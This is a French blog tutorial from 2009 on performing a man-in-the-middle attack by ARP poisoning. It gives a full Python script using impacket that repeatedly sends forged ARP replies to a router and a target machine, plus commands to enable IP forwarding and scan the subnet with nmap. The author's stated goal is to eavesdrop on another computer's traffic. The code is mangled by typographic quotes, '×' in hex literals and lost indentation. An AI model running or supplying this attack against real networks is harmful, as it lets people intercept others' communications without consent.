python, impacket et un petit man in the middle (arp poisoning)

Publié le 30 novembre 2009 par Mikebrant

On va voir aujourd’hui comment grâce au module imPacket réalisé un man in the middle en utilisant la méthode de l’arp poisoning.

Qu’est-ce quele man in the middle ?
C’est une attaque qui a pour but d’intercepter tous les paquets transitants entre A et B .

Et l’arp poisoning ?
C’est une technique utilisant le protocole ARP  qui va faire en sorte que A envoit ses paquets à C au lieu de B.
Du coup, si on utilise aussi l’arp poisoning sur B, C peut écouter tous les paquets qui transitent entre A et B : c’est le man in the middle.
Il existe plusieurs méthodes, on va utiliser celle qui consiste à envoyer des réponses ARP aux cibles (A et B), et vu que le protocole ARP ne vérifie pas si une requête ARP a été faite au préalable, on va pouvoir modifier la cache ARP des cibles sans difficulté.

C’est parti.

La topologie de mon réseau éthernet dans lequel j’ai réalisé le script (simple&court) est on ne peut plus basique :
2 ordinateurs(A et C) directement reliés au routeur(B).
Je suis C et, je veux écouter tout ce qui se passe chez A.

Tout d’abord, il faut activer le routage :

su -c « echo 1 > /proc/sys/net/ipv4/ip_forward »

Maintenant, il faut connaitre les IP de A,B,C ainsi que leurs MAC.
un petit coup de nmap -v -Sp 192.168.1.0/24 | grep « up » et de arp -v résoudra tout (ajustez le sous réseau).

Et voici le script :

#-*- coding:Utf-8 -*-

from impacket import ImpactPacket
import socket
import time

INTERFACE = ‘eth0′
MON_IP = (192, 168, 0, 101)
MA_MAC = (0×00, 0×13, 0×02, 0×12, 0x8c, 0xaa)

ROUTEUR_IP = (192,168,0,1)
ROUTEUR_MAC = (0×00,0×13,0×02,0xcd,0×03,0xd2)

CIBLE_IP = (192,168,0,102)
CIBLE_MAC = (0×00,0×13,0×02,0x1d,0×10,0xd3)

class MonARP(ImpactPacket.ARP):
   «  »"notre classe pour créer notre paquet ARP »" »

   def __init__(self):
   ImpactPacket.ARP.__init__(self)
   #et on remplit l’entête arp :
   self.set_ar_hrd(0×01)#le type du reseau dans lequel on se trouve=>ethernet
   self.set_ar_pro(0×800)#le protocole de couche 3 qui utilise notre ARP : soit IP donc 0×800
   self.set_ar_hln(0×06)# la longueur de l’adresse physique, soit 6 octets (c’est la longueur de l’adresse MAC)
   self.set_ar_pln(0×04)#longueur de l’adresse reseau , vu qu’on est en IPV4 : 4 octets
   self.set_ar_op(0×02) #le type d’opération de notre arp : requête (0×01) ou réponse(0×02) donc réponse

   def routeur(self):
   «  »"si on envoit notre réponse au routeur,
   on doit mettre :
   – en mac source, notre mac
   – en ip source, l’ip de la cible
   «  »"
   self.set_ar_sha(MA_MAC)#adresse physique source
   self.set_ar_spa(CIBLE_IP)#adresse réseau source

   self.set_ar_tha(ROUTEUR_MAC)#adresse physique de destination
   self.set_ar_tpa(ROUTEUR_IP)#adresse réseau de destination

   def cible(self):
   «  »"si on envoit notre réponse à la cible,
   on doit mettre :
   – en mac source, notre mac
   – en ip source, l’ip du routeur
   «  »"
   self.set_ar_sha(MA_MAC)#adresse physique source
   self.set_ar_spa(ROUTEUR_IP)#adresse réseau source

   self.set_ar_tha(CIBLE_MAC)#adresse physique de destination
   self.set_ar_tpa(CIBLE_IP)#adresse réseau de destination

if __name__ == ‘__main__’:

   arp = MonARP()#on crée notre paquet ARP
   eth = ImpactPacket.Ethernet()#notre trame ethernet
   s = socket.socket(socket.PF_PACKET,socket.SOCK_RAW)
   #le premier paramètre est la famille du protocole qu’on utilise, vu qu’on utilise un protocole bas niveau (d’après le modèle OSI) on utilise donc PF_PACKET
   #le deuxième paramètre est le type de notre socket , il en existe des tas :
   #SOCK_RAW : pour faire transiter des paquets utilisant un protocole plus bas niveau , le protocole ARP étant de niveau 2/3, c’est ce qu’il nous faut .

   ###un man socket vous aidera mieux à comprendre

   s.bind((INTERFACE, 0×806))#pour lier notre socket  à une interface(bah oui, sinon on pourra pas l’envoyer)
   #le 1° paramètre notre interface réseau
   #le 2° paramètre est le protocole qu’on utilise (ARP=0×806)
   #s.settimeout(2)#le timeout en seconde, mais on s’en fout vu qu’on envoit une réponse et donc on n’en recevra pas.
   while 1 :
   print(« c’est parti »)

   arp.routeur()
   eth.contains(arp)#ensuite, on doit encapsuler notre paquet dans notre trame ethernet
   eth.set_ether_shost(arp.get_ar_sha())#l’adresse mac source de la trame est la même que l’entête arp
   eth.set_ether_dhost(arp.get_ar_tha())#l’adresse mac de destination de la trame est la même que l’entête arp
   s.send(eth.get_packet())#on envoie le paquet !

   arp.cible()
   eth.contains(arp)#ensuite, on doit encapsuler notre paquet dans notre trame ethernet
   eth.set_ether_shost(arp.get_ar_sha())#l’adresse mac source de la trame est la même que l’entête arp
   eth.set_ether_dhost(arp.get_ar_tha())#l’adresse mac de destination de la trame est la même que l’entête arp
   s.send(eth.get_packet())#on envoie le paquet !

   time.sleep(10)#en secondes

N’oubliez pas de changer les valeurs des variables des lignes 7 à 15.
Je n’explique pas le script, tout est commenté et devrait suffire ?

Un petit coup de wireshark et vous verrez les paquets de/vers A.

PS : pour toute question envoyez-moi un mail (cf la page « À propos »), j’ai désactivé les commentaires à cause du trop gros nombre de spams.